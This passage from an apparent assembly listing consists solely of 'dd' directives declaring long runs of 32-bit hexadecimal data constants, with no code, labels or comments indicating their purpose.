		dd 2CF5B3h, 0A979342Dh,	0ECAA2094h, 9646441Ch, 0CE425B45h
		dd 5A8E40Bh, 228047F7h,	0ABE376h, 63533160h, 0B836AA98h
		dd 5B296800h, 33BA80EEh, 38BE07BFh, 0EFD8434Dh,	72D61700h
		dd 0B0039C46h, 0C80E4F60h, 26627639h, 330A3B7h,	89548EDCh
		dd 0F5C936E3h, 0E4CC4020h, 0F1284327h, 0E948A8F8h, 2ED50010h
		dd 41AE215Eh, 7AA7C67h,	2724595Ah, 0CE55D0D6h, 30C0FD01h
		dd 8F1D76A1h, 6722005Bh, 0CB78A9A3h, 340070C4h,	27C2FD07h
		dd 3F9B353Bh, 3C09018Bh, 4880A7D7h, 9FA16E2Ah, 21BE4E00h
		dd 840AFF13h, 49AC1E5Eh, 20F14006h, 289C92BFh, 1B81848h
		dd 832330A1h, 0A820581Eh, 1F1902FFh, 927DD684h,	0D1601DC0h
		dd 7FE12B04h, 9090532Eh, 174A7E8h, 0D70F7B55h, 401FADDDh
		dd 0B9FD79CCh, 84009C92h, 69739010h, 2B3472h, 12F8D3E9h
		dd 7F65BFFDh, 0C2C8D900h, 3545FA71h, 33F5015Fh,	0B24A4844h
		dd 25E8DC51h, 0F778B06h, 7797563h, 0E07AE1C0h, 0BBB5B069h
		dd 1D00290Dh, 0CB286F3Fh, 2A6E265h, 7F1EEC3Ah, 0D080747Ch
		dd 0F0B0D277h, 8A235501h, 6DBFB1CFh, 3A8050BDh,	753EFF8Dh
		dd 0B7007108h, 388883F9h, 650FC51h, 0CB7CCA80h,	0E27674FEh
		dd 685FFA07h, 0EA707BF1h, 1E8B274h, 807D0ABAh, 300F66EBh
		dd 7B2401A0h, 9340BC54h, 58CEFh, 524FBBD4h, 60A85A1Dh
		dd 43001490h, 0C0BC54B6h, 8272Bh, 0CD623203h, 8B34BAA1h
		dd 9DAE6E01h, 0CAB1923Ch, 3AD91370h, 2A001E07h,	12141FFCh
		dd 9777BA2Fh, 5EC7271Ch, 8FFDC587h, 878EA960h, 4BD82681h
		dd 0C0A50103h, 0D09DFB8Ch, 0B000CCD0h, 0D69815D3h, 186AC7Ah
		dd 0FD357CE1h, 0DCB9961Bh, 9A00C912h, 0A876AA3Bh, 2D28AD8h
		dd 95C7EA28h, 0F89825FFh, 0BA204127h, 0A1A51F88h, 6DE8C16Ch
		dd 0CC73E130h, 0AB008CA3h, 48093F4Bh, 482AC9DEh, 0E200C220h
		dd 9E585951h, 90019D13h, 0FFD95B85h, 2020E795h,	9CF300D8h
		dd 0D5AE05F7h, 120065A4h, 3063BD98h, 31D1FBh, 41E4D854h
		dd 163CA243h, 823A1B00h, 51C54A84h, 0D37901FEh,	7C063765h
		dd 10BECC25h, 844898F2h, 0B66D1328h, 40889067h,	0E07B9EB1h
		dd 9A8D7000h, 32C16EC7h, 5BFB003Fh, 0EA071AB5h,	3B001EE5h
		dd 6574DDB0h, 77F13242h, 6BB2001Fh, 90E94E9Ch, 0E300E54Ah
		dd 0EF5F9D96h, 2EB31Dh,	0D76E9BA0h, 2575CB43h, 47C68100h
		dd 0D83707C8h, 525600D2h, 769AD1E2h, 203A58DFh,	17930012h
		dd 0EDE39B9Dh, 7886077Dh, 15BBA68Dh, 0A468D01Bh, 0E8071050h
		dd 6B69D066h, 0C49793C0h, 2F8C0441h, 0C086195Bh, 7ED7B130h
		dd 0D376DA00h, 0E75BCC3h, 0FA0700FDh, 0D6E6171h, 2898AC25h
		dd 94A8B9FDh, 670226Dh,	3A4053C7h, 6C7A20h, 0B343DB5Bh
		dd 0F6518BD4h, 0E6AEBA07h, 0E3329A90h, 7760FF09h, 160E7817h
		dd 20489CEDh, 0A33E03D6h, 35FFCA8h, 2F7483B2h, 0FAA04F0Dh
		dd 0BD7E0F78h, 3B8F250Fh, 0D59EBFDFh, 0D626E680h, 47933DBh
		dd 0BF0EF6A3h, 0E551836Ah, 8D98A498h, 0B4088500h, 0E4EBB5D0h
		dd 0C6BD05ACh, 476F5C78h, 0C02F1BF8h, 8A75E5Fh,	2B1EF9B4h
		dd 0E91FB1C1h, 64E0372Dh, 89990075h, 0ED3A0DE7h, 2904102Bh
		dd 7F1113A3h, 0EA819480h, 63E30568h, 0E029E0Dh,	11C98CCh
		dd 16CB5C37h, 0D0B4E578h, 1900AFF6h, 0C41B26F9h, 7A2DFEh
		dd 7F90670Bh, 94AD301Ch, 44D75B00h, 0DCFD56F7h,	3ECC0042h
		dd 7C0E3B7h, 77002591h,	3CC18E90h, 1408880Bh, 0C046BF15h
		dd 653B2F0Eh, 0F99FCFFFh, 936D0EA0h, 0D90091D1h, 378C8002h
		dd 0F499BEh, 619C9047h,	0FE107188h, 0A207F5FEh,	3C3A2539h
		dd 0E865BC73h, 17F6BF2h, 1766BB1Fh, 0F0F0D50Ah,	7C001218h
		dd 6A59A113h, 6A6CCC3h,	0AE96C26Bh, 6D0188C9h, 4055E1BDh
		dd 709DB450h, 0EAC8C062h, 0D06954F2h, 0BCDFEC0Eh, 1393C0D1h
		dd 4CD6A466h, 2E25C4B6h, 75F51890h, 2B4F4001h, 5C8E8CDFh
		dd 876FFC34h, 2FA87080h, 58AC8E19h, 7B006817h, 3824E6E4h
		dd 79007FCAh, 0A4AA4D63h, 60769F10h, 5BE4506Bh,	265C6E2Eh
		dd 80648904h, 1EDC3F68h, 1B378DEh, 0F4F87F9Dh, 621B38EEh
		dd 0EBA500ACh, 66221310h, 9C970E1Ah, 0C4A54354h, 0F30CC035h
		dd 900B0E3h, 676520Dh, 7D8A6Fh,	50D385A0h, 0A9355881h
		dd 5F08B75h, 0C900D57Bh, 9851BD0h, 2369BBh, 0CD345A07h
		dd 979C2E67h, 0F51D2D1Ch, 81B3D800h, 17E3B6EDh,	37DFB7h
		dd 0A902322Ch, 293FCAE5h, 0AA3316A7h, 973B2C00h, 3FC178h
		dd 32FA89CFh, 0AFBA6DD6h, 406E5E4h, 0B745DED5h,	370D0021h
		dd 8165D956h, 0F10B608Fh, 2060710h, 4078B988h, 0AC69FFh
		dd 56B38A70h, 406038D7h, 0E4B8ECA0h, 0F1AB43Ah,	804E8E11h
		dd 0DDDCD5B7h, 7B530066h, 889D86EBh, 2C2450AFh,	7102EE0Dh
		dd 40045B82h, 0A0577EC8h, 1B08B98h, 0E0586A7Dh,	207AA8DCh
		dd 7901FAE8h, 9F496E5h,	59D01F08h, 1478C087h, 6FA09F27h
		dd 0F7CA6709h, 0E3B00096h, 3D8E3248h, 0B004F044h, 0AAD137C8h
		dd 0D6FE8DC0h, 52392524h, 7221880h, 0C00ED830h,	60D0C5CDh
		dd 6E7F2E26h, 0D2BA0034h, 54061CA0h, 762F3AE7h,	0FF2A0037h
		dd 7C7DFBADh, 4247006Bh, 0E18C3FF1h, 5B25A7A4h,	3EE08056h
		dd 0FA40C1ECh, 54C00D5h, 0A02C1E3Ah, 0EB80310h,	803DCB00h
		dd 6DBAD6D8h, 972600B7h, 5D23F181h, 12184F8Bh, 0C4F8CE63h
		dd 256A003Bh, 3D8D440Dh, 5601A96Fh, 0B0150FA6h,	908F9572h
		dd 0A2427982h, 0D2E0C36Ch, 0D001B3F2h, 7F234F2Dh, 0E3E066F3h
		dd 0B79300CDh, 0CFF2720Dh, 790E37CCh, 0A97DCEC1h, 0A8F86041h
		dd 78EA0773h, 0C02C338Eh, 6DB8694Ch, 0D3592700h, 567DA7E6h
		dd 0E223005Ch, 251FC7ECh, 970079A1h, 0E3DF2486h, 770B1267h
		dd 8A920081h, 6F16BBFEh, 0A900EC79h, 3D68F58Ch,	0C683DEh
		dd 2A9BBEF2h, 446EF714h, 8E93590Eh, 7800531Eh, 0CAAE3AD7h
		dd 9FF10283h, 0ADC6BA12h, 91A8040h, 0A2008770h,	352E31DBh
		dd 6F9A86Ch, 7AE044CAh,	62007894h, 733D3ED4h, 4EF498h
		dd 3CE15E29h, 4C3F5B8Fh, 0B5C1DCF3h, 0E0863705h, 34CD9BA4h
		dd 34585438h, 0AAA2409h, 0FD505300h, 8D002B04h,	0AD82E486h
		dd 3BD47719h, 0A5806607h, 0A18192D5h, 0D000672Ch, 0D18B2632h
		dd 2427A3BFh, 18D77DBh,	0FFB4746Dh, 71E5DCFBh, 0E45F4Dh
		dd 757A2616h, 6C1237h, 0D3B51DC0h, 0B14F4A4Bh, 0E800337Ah
		dd 32E0A2DFh, 60CD839Ch
		dd 6626388Ch, 34397AECh, 12587057h, 0EC382A1Ch,	75117B00h
		dd 6C5C7164h, 0E5FF0035h, 0DE9092A9h, 8F77E40Dh, 918DD4Ch
		dd 801B4ECAh, 0BD2DA0B3h, 59660E97h, 0FC40D4DEh, 0E8670CECh
		dd 18787401h, 9A625BF0h, 0CD48D8EBh, 36FE3989h,	30B94000h
		dd 4AB0B6D2h, 0EE07F9E6h, 0BEBA5E26h, 9B4D0230h, 98FE4A6h
		dd 4984C6F3h, 8C54E400h, 0B824E3E0h, 0D6014C03h, 64228360h
		dd 54F1F07Fh, 0BE670900h, 0CFA23539h, 54E00ACh,	0EC07F606h
		dd 3600702Ah, 0B4F2AA6Dh, 4CAD91F1h, 6338F661h,	0DDC2CA83h
		dd 8E803AF5h, 5F2E7489h, 80B904B3h, 0FFE04971h,	1D15CF83h
		dd 0C0036A7Bh, 0EEDB8EF6h, 5B5C7EAFh, 8BE2002Fh, 0CB0D8ACh
		dd 0C6573C36h, 4E108000h, 2F8E34C4h, 0DC12937Dh, 680FF6AAh
		dd 6F0840F2h, 247C20BDh, 1B607Bh, 0F54869DFh, 0C812EA1Ah
		dd 0A5E89773h, 5FA0074Eh, 0F32061ABh, 4843C54h,	443FDCE4h
		dd 0C0821092h, 0EB22D3A3h, 0C0F031F9h, 296E0037h, 0C7A9A368h
		dd 0F30336CDh, 3BD292B3h, 0E551F8C6h, 0E122005Dh, 0BF4235EFh
		dd 291238B6h, 5D190995h, 16F0C698h, 34C7039Dh, 7D7B4B0h
		dd 0E8BB6A91h, 8D00F0AEh, 0F9A20CB9h, 1CA6052h,	0A4B6F445h
		dd 307BB175h, 0DE0E5A63h, 0C0C726D7h, 84D36E8Fh, 2B30A083h
		dd 96EC6Bh, 37BA335Fh, 657EFCE8h, 80796902h, 0A07B7473h
		dd 35C113C8h, 3E3A041Ch, 0C3AE5E2Fh, 43A88B06h,	0C7FE98DEh
		dd 740D2700h, 0B8A8A557h, 0F4C000BDh, 0BBF2E2Bh, 5D00DB11h
		dd 0AEB34F1Bh, 133B695Ah, 0C0B9F0C4h, 94EA7E84h, 14F76A00h
		dd 8867B3DBh, 0A9F17EA0h, 4029610h, 0A31CF503h,	3A4AA081h
		dd 0FD54A02Ah, 3C849E52h, 1A743E03h, 8003023h, 0AAEC9F2Fh
		dd 0D2D554h, 570B075Eh,	752A816Ch, 0E9003472h, 7F88657Dh
		dd 0F26A9Eh, 4CFB4ACDh,	25C285BDh, 0E47960D8h, 0A607003Ch
		dd 3A211B1Ah, 0F2157B24h, 0C25C51EDh, 0E86A80E0h, 424E94h
		dd 8508C32Bh, 0AD14DFE5h, 4BA1AF03h, 90BE6AA7h,	995AB9h
		dd 0F6D58DACh, 1F1D5255h, 9416A001h, 0FA7C5B22h, 0F8A829C4h
		dd 0F3C10007h, 0C495DE0Fh, 4900DDD4h, 285F130Dh, 0FB0BC0h
		dd 0C55C3532h, 0E874E31Bh, 0C0A1A6CFh, 0EE68816Bh, 176100FBh
		dd 0B0824EC4h, 7B01021Fh, 1A769DC7h, 0C8746368h, 66A2007Ch
		dd 0E32DFE96h, 9D04701Fh, 1F7BFDDh, 0C0ADB892h,	1B4B2A4h
		dd 0E0D3EF26h, 6054D9A5h, 0ED58F744h, 6E1201B0h, 0D24BCC74h
		dd 0C8706FD9h, 979B2F8Bh, 0EC98043Ch, 0A3019100h, 0B6B453EDh
		dd 2EE40C3Ah, 0D031FA5Ch, 85E22800h, 0F731477h,	0E7FF2BCh
		dd 0F8AE4E8Dh, 63665322h, 33054050h, 28FD0AB8h,	0D88474D0h
		dd 35D90049h, 42CE884Ch, 183D466Bh, 9684880h, 2060E176h
		dd 82DE175Ch, 251E00CCh, 0FDEA8823h, 0AF027364h, 2B9075F0h
		dd 9C988470h, 63E01CC8h, 0F9047948h, 8775BAD8h,	0DBD78400h
		dd 0E87A5505h, 0F7033E8Dh, 40B83912h, 3629195Ch, 0E52E2BCAh
		dd 6400AD4Ah, 0C7D4550Ch, 50E76EE3h, 20AEE620h,	423D4F3Ch
		dd 51DE8050h, 9D3BED46h, 89D40108h, 4F60B153h, 3ABC827h
		dd 0E7E8D3Fh, 0C020EC2Ah, 83F79901h, 733A0088h,	403B5F38h
		dd 4D58FEA9h, 6E2C0070h, 0B33E70A1h, 0E4452566h, 0B00046FCh
		dd 0CCF28509h, 5E7B000Ah, 46F62BE8h, 3CF6E319h,	79B0C300h
		dd 30E5D47Ch, 4CEF007Dh, 0AB6545AEh, 200A082h, 0C4A65BB8h
		dd 0D8B475h, 0CB5FC68Ah, 0CA23DDA3h, 0AACFF07h,	4452AF1Eh
		dd 0B6479B7h, 5C4820EBh, 0A3005F9Dh, 0A53DEF0Eh, 0F484B68h
		dd 2D2AFF05h, 2BD867h, 89A952D0h, 35D55500h, 0AD8706B7h
		dd 0A26F0001h, 0F377780Bh, 0E50095BBh, 7038BFF5h, 36E039h
		dd 5DEF1B03h, 0C71FDD40h, 80D5463Dh, 0CE07D1B8h, 412045Ch
		dd 3B060DFEh, 60EC837Fh, 37800CA3h, 0CC275D63h,	0F98C0022h
		dd 0EE14036h, 0BC8625C4h, 677A4C80h, 0D4966BA3h, 7043E41Fh
		dd 9851DFBEh, 245CF3Bh,	0B34CF284h, 0B4F056D4h,	597C6400h
		dd 6DB9424Ah, 79950065h, 631A0174h, 0EA001251h,	6C055BD2h
		dd 0EDF342h, 0D15AE1A4h, 933E75F1h, 0AFFC8407h,	0E7C46EFEh
		dd 0CFECB0h, 1E2C69E4h,	0FDBB5B36h, 42E153Bh, 0DA30073Dh
		dd 9C0E74F2h, 6B6E180Ch, 2D78DEA0h, 73009AC9h, 0CBA3101Eh
		dd 2E4DD148h, 80F87279h, 0DD8FC88Eh, 0CA26BA30h, 4A1FAF29h
		dd 0DBA97340h, 1EA247F3h, 0E5A6A311h, 4F0BBFD4h, 7FA40036h
		dd 1C4ADAAh, 2C66D7BEh,	0C07A2DF1h, 20CFCB08h, 0AF9C20ACh
		dd 13E70BC5h, 257D89B0h, 0B53080FCh, 31006EECh,	8E483EA7h
		dd 7FA14D0Ch, 6870060h,	1F37EB1Dh, 7603DEE9h, 58F49952h
		dd 4E3EA8FFh, 0E18800B4h, 9D1E8968h, 5D00599Bh,	66E569CFh
		dd 24BE3AD0h, 0E47962h,	0A8CA5E83h, 97005F30h, 82A6E6A4h
		dd 72CAA4Eh, 0D44C49E9h, 0E8B2A0E1h, 0CC0089CEh, 9FBBB9D3h
		dd 516E933Bh, 0F98ED795h, 7DC08F2Eh, 412A431Eh,	4A00A79Eh
		dd 394599BAh, 0B5DC0064h, 48D58283h, 0C202F2D2h, 5B3038C4h
		dd 994F8F9h, 6D1031D1h,	4C47C000h, 0FA00B2F8h, 8C4E0681h
		dd 1784B6C3h, 8069F7CDh, 704275FCh, 0EFBF7F02h,	68C54BAFh
		dd 0BCB3405Ch, 2BF50014h, 0D86A0D14h, 61004F76h, 847B11B1h
		dd 1FBE06h, 8DF55E73h, 0D62C27FCh, 81A5D025h, 2840D7B0h
		dd 1D7DF9F4h, 870939FAh, 0D0BCD5EEh, 9177C44Bh,	0D26A8C00h
		dd 7022FAA0h, 670F05A4h, 4007E7h, 0E53D6BCh, 631F4798h
		dd 250BD4F8h, 0C9A02993h, 0F8801DC0h, 3B3FECBCh, 0AF0072C5h
		dd 86A46273h, 1F6D3EF4h, 6C8BF54Dh, 80391E10h, 6CA00A1Ch
		dd 7100A2D4h, 0BF5B64F2h, 0C190C782h, 8A1C9F10h, 5E667012h
		dd 0C232800h, 0F5EB0154h, 0E4B07h, 0B3D7B568h, 58C0CBB1h
		dd 0E97D1CD1h, 88E402F5h, 971F3427h, 64285440h,	4505C2Dh
		dd 3A80CE88h, 7FBDDE09h, 7E1C01DAh, 59010D79h, 14EAF6F6h
		dd 19E6D070h, 71F27001h, 0B2E02E66h, 276176C0h,	0A49410F8h
		dd 581EB601h, 65355DB4h, 75C56820h, 7A620096h, 162A6B9Fh
		dd 5820FDCh, 8C80D1D2h,	0F485101h, 0FDB5F54Bh, 34040F3Fh
		dd 0DD28208Ch, 0B44C4602h, 0E305C3B1h, 2D068073h, 72373C8Bh
		dd 40828C96h, 4A742BD0h, 1658775Ch, 37B900CAh, 0D3BFC623h
		dd 87140075h, 3C1DEAF2h, 0E407EEBCh, 40375D2Ch,	0B436D980h
		dd 0F93729Ah, 8E252479h, 892074EFh, 0CDD0379Ch,	1F7C3F00h
		dd 7D58743h, 0B0CF0023h, 6206C1C9h, 0F5075D74h,	0FDFA4B34h
		dd 50A077F5h, 0B820008Eh, 42EE3E4Fh, 0C4F0EA31h, 0C0733527h
		dd 78DE6EDCh, 71D700C8h, 8590382Fh, 6F1F3B32h, 0D0C0014Ah
		dd 52CC5C04h, 4F0E01E8h, 8DBD0B0Fh, 4D446057h, 90395900h
		dd 3BB8EEC4h, 0AC6F0F45h, 0DA8060A4h, 79DF27B9h, 0BDF3D701h
		dd 0E67E1428h, 0CF83C0h, 117D0E57h, 95FC9050h, 0BF1A4800h
		dd 0BB6121C8h, 25EC00C5h, 9A08991Ch, 62005E56h,	36718E68h
		dd 0EE63B741h, 80FD037Ch, 2F6DD839h, 210118A3h,	6CFCACB0h
		dd 20746A4Eh, 0DD6000C5h, 0E20631F2h, 54006FA8h, 0E55FDC34h
		dd 583CB42h, 727F58F1h,	457CC04Ah, 290FCE87h, 0A39FD85Ah
		dd 0F0C564EDh, 7895730Fh, 1A232C0Bh, 0EF301274h, 4931C503h
		dd 6410207Eh, 3415122h,	1971BD4h, 0EC84DB4h, 6F0E66D3h
		dd 0A0FD6186h, 2A54A5A8h, 0E96E0038h, 0BDCE332Eh, 0F071BC65h
		dd 0ED231100h, 0AA9784DFh, 616A00FAh, 3A3D8E77h, 88007B7Ch
		dd 0CFB4BDDh, 0AE06BDBh
		dd 7E46A8E7h, 8088074Ch, 0CC000BE9h, 0C52B4B17h, 0BBAEA12h
		dd 3837D481h, 5518D104h, 0DC90C518h, 0C4003E98h, 0F01A1ED1h
		dd 1933D20h, 8557C77Dh,	0DC6A7A07h, 87005F17h, 2E48E4F7h
		dd 0D431E5h, 221A77ACh,	0DEFAF1C1h, 0C7356E01h,	12F29404h
		dd 3B8E86D8h, 9E806554h, 0F7810DBDh, 8900AA27h,	6FA6C530h
		dd 0A3F077h, 495ADA31h,	0A4B81A95h, 0B7165500h,	1453B015h
		dd 0A2BC034Ah, 0A9EF7512h, 92D5AE98h, 0CD3CC000h, 193F504Bh
		dd 121C0069h, 33E5A9F8h, 56035778h, 803AE4D5h, 585AB8DDh
		dd 0BD6C0011h, 0B5DE3FC2h, 0C502A08h, 9D0BCB84h, 4C2CFFh
		dd 9AC749E0h, 43C309F8h, 0DC808D01h, 869B0DCAh,	0EA3D2602h
		dd 0FABDDCA4h, 1CE60038h, 9978B8E0h, 9A1D570Bh,	0BF40C6A6h
		dd 0CB4A969Bh, 18C500B3h, 7874A5E2h, 4FF0855Ch,	7BC77116h
		dd 3A36A601h, 77EC6D3Ch, 43D02D5Eh, 0FEFA4427h,	0E4C1E88Fh
		dd 307FD297h, 1158228Ch, 0EB45878h, 0C0BF52E0h,	0F879772Ah
		dd 0A094007Bh, 4F4EE846h, 9C137D99h, 0C600D364h, 8978A674h
		dd 0B96226F0h, 5B7100F0h, 1D92990Eh, 7B0F9300h,	0AA1C9D44h
		dd 5578010Ah, 0ECFCC1C8h, 238EEC7Eh, 46570500h,	0E71DA944h
		dd 1064090Dh, 0F88459A1h, 0BAD483D1h, 21AB9D88h, 161C884Ch
		dd 140202DDh, 89373CCBh, 893C40BBh, 5C530096h, 868480C7h
		dd 1674F438h, 9377CE03h, 0F722BBh, 0ED3E2B59h, 12E4D38Bh
		dd 818A4800h, 36D76B25h, 0A65D1339h, 3B78A04Bh,	777086h
		dd 0F8B050DFh, 79113F3Dh, 0E97C3Ch, 590E7592h, 4B02DA29h
		dd 3AA8D265h, 158ED490h, 23251F00h, 0B164ADC3h,	0B27B00FCh
		dd 0C4557E88h, 6800D13Eh, 404217B8h, 3376CBDh, 0DFDFEB1h
		dd 51017175h, 19CCB30Ah, 5DE4A4E9h, 9390A0CAh, 8AFEDFh
		dd 0EBB632FCh, 9EC146BCh, 0B0ED1007h, 0E000507Bh, 6CAD67h
		dd 2C7930C7h, 0EC9A0278h, 2DB4FA00h, 58747563h,	7AE790Dh
		dd 52E22151h, 841D7102h, 0CBB3E085h, 9367163Fh,	1080EE6Dh
		dd 6DED4DCh, 0ACC305F1h, 0C600E13Ah, 7BADEB97h,	0E903C0A3h
		dd 0BB085E0h, 94708AA7h, 0EC22DF80h, 13002C51h,	434AD782h
		dd 47B067h, 81DBEF40h, 0DE451A96h, 0AD363C03h, 98B6F8E3h
		dd 318EA91h, 0BA8679Bh,	93E1BC0Ah, 0E26EC1Ch, 0BDD1FF1Eh
		dd 13626E80h, 33901AEh,	83B26742h, 36E0C030h, 0D15FC63h
		dd 25A87F08h, 7AB8808Bh, 3577C53h, 0BB050CA8h, 68A8BDF5h
		dd 0A94B3906h, 8A268CC0h, 0C0FB4B3Eh, 30B0A20h,	0B34D3B00h
		dd 69FDEAAEh, 41DC02FEh, 8D651CCBh, 88932E2h, 0E15D8C25h
		dd 60BE34h, 0E137C0F4h,	95CD48h, 16BD5AF3h, 0DB906E19h
		dd 0BA4A2E00h, 0ABE5CBD3h, 7513B68h, 1695618Fh,	80457BA0h
		dd 3200E08Bh, 669C17BBh, 12F10CA9h, 802ED592h, 0E23CBFE8h
		dd 5F12B900h, 0C84B3A63h, 409606h, 1DD12F7Fh, 775A101Eh
		dd 9D1FD421h, 0E701BC68h, 157C6624h, 0D8C88887h, 0B370807Eh
		dd 710891F1h, 0F9DCB60Fh, 1110025h, 0FC27EE80h,	424A3D53h
		dd 0E63D5600h, 4F2E26A4h, 577AA703h, 0D0610D35h, 0BC6E25h
		dd 2CD60E92h, 11F360ADh, 0B1F9EE0Bh, 0B7B88051h, 94FE7BCh
		dd 925B8FD9h, 1B57F080h, 4005CE0h, 0DDF3127Ah, 0F64CBDh
		dd 89CE859Ch, 5859918Ch, 3200BCF4h, 6830F4FDh, 3AFFE88h
		dd 0D1526904h, 0EE88993Fh, 0A70049D6h, 0A10918DEh, 78020Bh
		dd 0D4569FF0h, 6B3DC825h, 35E6F219h, 0F1603B80h, 0D6B23A88h
		dd 54360E80h, 473C5A7Bh, 7F95C005h, 0E187F0F7h,	0D8500527h
		dd 7C592Eh, 0CB8BA883h,	9CB49672h, 0C82A0E00h, 7EFBD066h
		dd 56B801A0h, 97B2ACC9h, 301880CCh, 0EA6D703h, 0E4FB0CB5h
		dd 5AD8A017h, 9000577Dh, 0EFADB8A3h, 96C2F4AFh,	80013F30h
		dd 2393A794h, 10A430C4h, 1CD0E04Ah, 16CF5Dh, 48B6E529h
		dd 0C9F694C7h, 871B4500h, 999A3010h, 8F600137h,	0DDD3AA59h
		dd 5DAF0D0h, 0B8ECB600h, 6222B3DFh, 7E9000C7h, 85EE0D8Ch
		dd 0CF1CD4AEh, 5BE9E53h, 0B3349BA6h, 64708E87h,	959AFCh
		dd 0F020EF84h, 0EA559D5Bh, 0C098DC0Bh, 0C60010CCh, 0AA9B40A1h
		dd 0FAF69D03h, 0C867E52Bh, 61D6DD56h, 0AB2E843h, 2B80056Ah
		dd 90ED738Eh, 7833BF8h,	2FD60178h, 8FE14951h, 254C303Fh
		dd 9A3D781Ch, 8990884Eh, 0E62C7048h, 6BC30257h,	0B5F95027h
		dd 0E00D874h, 3BEE2ECBh, 1F941E9Dh, 0C88200D4h,	19E8E535h
		dd 1DA44905h, 50A0ED4Dh, 30681375h, 5738B06Fh, 30B47A7Eh
		dd 64E6EF12h, 3FECBA0Eh, 7396D7C0h, 0B00F030h, 504CF55Fh
		dd 0E6879C15h, 47740078h, 22D405B0h, 322DE2A3h,	0EEF88028h
		dd 7938722Ah, 0C5E3099Fh, 74038833h, 0C2B87526h, 790C2D77h
		dd 18EE54D2h, 4D2F0047h, 0FF8B9022h, 0F55CA9ADh, 0DF3E00C8h
		dd 0BAD33793h, 6A5E000Ah, 1B3CB22Eh, 80979B9Dh,	0A1231994h
		dd 0AE6D009Ah, 0DBD6C678h, 3826F096h, 320008A0h, 0E624FC9Ch
		dd 33EE3B6Ah, 0F77D7083h, 35AA1ACDh, 0A923C3E0h, 0F40096F0h
		dd 3444290Dh, 4D46194Fh, 0E60BD4A8h, 9770A7Ah, 8688603Ch
		dd 416117ADh, 0CAD6003Bh, 0DBCF64Bh, 1C0074B8h,	0D472AA7Bh
		dd 131F083Ah, 40E4C581h, 0BBF2D288h, 0D0073DFDh, 0AC185B92h
		dd 0C8C779A0h, 0B16C0089h, 5E2DA1B8h, 0B5036409h, 0D422BCF8h
		dd 0EA9E059Ah, 0A8ED9730h, 64540014h, 7B1DCEE5h, 1C7E001Eh
		dd 490DD144h, 8904EEB1h, 7D5431DEh, 427C04B4h, 2068FC62h
		dd 5C407EA7h, 0BCEF4487h, 89647080h, 4784E06Ch,	0DAAA400h
		dd 2DCF2B38h, 0FDF8001Eh, 9EB5E7B1h, 5018976h, 2340A488h
		dd 0F1E48636h, 6E7F03B9h, 323B5244h, 7DE04817h,	7B85A090h
		dd 2C4BC30h, 7556DC74h,	7D00DC54h, 65AF32B8h, 4A8502F2h
		dd 0F19E8869h, 0E01C30F9h, 52C411AFh, 0D14B1601h, 142CC4h
		dd 58634790h, 86DFA8h, 0EECD2623h, 0FDA69128h, 51E59805h
		dd 60E80C8Fh, 0E1655F00h, 50B31CE3h, 0F92A1701h, 0C3D803F6h
		dd 0E5DFDCh, 38E047D6h,	1974426Ch, 0F3CDFF00h, 5EF20279h
		dd 0A83513CAh, 787E03DDh, 2ED0C46Bh, 373CCE60h,	0B3208550h
		dd 0B400B2BDh, 863EE862h, 3C6B747Ah, 7700B81Eh,	0E4BEA4FBh
		dd 0C41E92BFh, 0F5835C2Ch, 0EB79C7DCh, 5D6798C1h, 12A0F03Eh
		dd 0E3C2195h, 4380040Ah, 87DF1DBDh, 937F0D00h, 5818266Ah
		dd 375514B3h, 0BF0498BCh, 0E0CCFAF2h, 4B0F49C4h, 20C3B9F9h
		dd 0AF3D0B75h, 0BB913BC1h, 0A03ABF07h, 1F74A022h, 3B12B1A8h
		dd 0FCB22AA2h, 0A1009F7Dh, 0C189C7B9h, 20973B00h, 5DEFA735h
		dd 39D10257h, 68A47322h, 1ADA87Eh, 0B0F7B27Ch, 3CE427ECh
		dd 9CF6350h, 90803480h,	2A4A3EC5h, 0C184190Bh, 7048h, 291E20CAh
		dd 77B0FE1Ah, 5E565C12h, 8251A440h, 0A885A3h, 8DF63D1Fh
		dd 55B2F2AEh, 3C39EE1Ch, 8609BB80h, 882E29h, 0C8F9F698h
		dd 269AE80Eh, 52714BECh, 0BB193F28h, 0CD13F400h, 226B462Bh
		dd 48A9005Ah, 8BABED53h, 3AE20D1Eh, 8E9CD000h, 36C9D823h
		dd 3810024h, 0AB214DF2h, 0B7014EE3h, 5657FC52h,	42CE627h
		dd 0BFD04000h, 8B5D1FF7h, 0EA0CA09Dh, 3288C0Ch,	0C7DFEE47h
		dd 6EA007E6h, 6C0073AEh, 7E99A8EBh, 981367ECh, 11AE0ECh
		dd 0FCB156F2h, 0DC715EC5h, 8C011E9Dh, 6AC91F7Fh, 0C760709Bh
		dd 7C4A021h, 0DB902Fh, 6D2C0205h, 0E9C3FCA5h, 0D427B013h
		dd 953A08A0h, 478EF482h, 29F72F20h, 0E8DC0039h,	0FF3358CAh
		dd 0E301B6FDh
		dd 61B77237h, 888118D4h, 48E8D0C4h, 0B6E0C205h,	276182A3h
		dd 7F771D60h, 0C3AF3C00h, 0B8828B5Bh, 245B16h, 0A8B543D0h
		dd 0A7009F40h, 0F887B4EDh, 0BDBAE0h, 981FEB51h,	4FFACEAh
		dd 45D95705h, 448046C4h, 1FEE8D08h, 80720AE0h, 993BCCE2h
		dd 902F0682h, 75D82195h, 0CEE5AD20h, 0FEB4C4h, 18C6F224h
		dd 0C79E19E2h, 0C2C12613h, 81A61500h, 6137F1h, 52C04C06h
		dd 8D879B35h, 3C9659E8h, 0B852491Ch, 0A819AE00h, 4E973Fh
		dd 505F2885h, 0E691CCDDh, 560DFD0Bh, 3124E1C7h,	0E00E602Ch
		dd 0ACA99423h, 5EAB7440h, 0BAC7E917h, 3182D000h, 4C8935BFh
		dd 3D1DE308h, 3E4AC050h, 0E35B0D04h, 96301500h,	25AB030Ah
		dd 35CC006Bh, 42C6B43Ah, 0A8007202h, 0D4DE8EDCh, 90F147EEh
		dd 0A468D69Eh, 5F033E40h, 8EC2B280h, 0D786A1E0h, 0B4FAD050h
		dd 0F58D00FDh, 0BF48D2FFh, 445A3B67h, 9526B4A8h, 0BBDE007Fh
		dd 0CD1F86BDh, 67CA4502h, 0C0D10F2Bh, 56B5E14h,	61D8D7C6h
		dd 0F10AA038h, 0D16D7B03h, 0C0F7336Fh, 24C5FA6Ah, 9C7C70h
		dd 0A74C385Ch, 21034A79h, 5BF2B336h, 617288B7h,	0D70D04ABh
		dd 8166EDE2h, 0C496C570h, 0B1350374h, 0B4F2409Fh, 0A0EA5F10h
		dd 0B733EB37h, 817C5400h, 1F2FBEE8h, 2908215Bh,	982C1817h
		dd 0D4808800h, 8C892B1h, 0EE3E84C0h, 4B0A63EFh,	7B08006Ch
